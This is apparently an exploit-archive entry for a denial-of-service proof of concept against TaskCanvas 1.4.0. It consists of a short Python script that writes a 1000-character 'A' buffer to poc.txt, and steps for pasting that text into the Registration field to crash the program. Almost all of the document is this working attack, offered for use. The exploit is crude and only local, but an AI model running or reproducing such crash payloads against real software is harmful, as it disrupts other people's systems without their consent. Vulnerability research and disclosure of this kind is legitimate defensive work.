发布 2020-01-13 漏洞条目

TaskCanvas 1.4.0 – ‘Registration’ Denial Of Service

Exploit Source

# Exploit Title: TaskCanvas 1.4.0 - 'Registration' Denial Of Service

# Exploit Author : Ismail Tasdelen

# Exploit Date: 2020-01-06

# Vendor Homepage : https://www.digitalvolcano.co.uk/

# Link Software : https://www.digitalvolcano.co.uk/taskcanvasdownload.html

# Tested on OS: Windows 10

# CVE : N/A

'''

Proof of Concept (PoC):

=======================

1.Download and install TaskCanvas

2.Run the python operating script that will create a file (poc.txt)

3.Run the software "Registration -> Enter Registration Code

4.Copy and paste the characters in the file (poc.txt)

5.Paste the characters in the field 'Registration' and click on 'Ok'

6.TaskCanvas Crashed

'''

#!/usr/bin/python

buffer = "A" * 1000

payload = buffer

try:

f=open("poc.txt","w")

print("[+] Creating %s bytes evil payload." %len(payload))

f.write(payload)

f.close()

print("[+] File created!")

except:

print("File cannot be created.")

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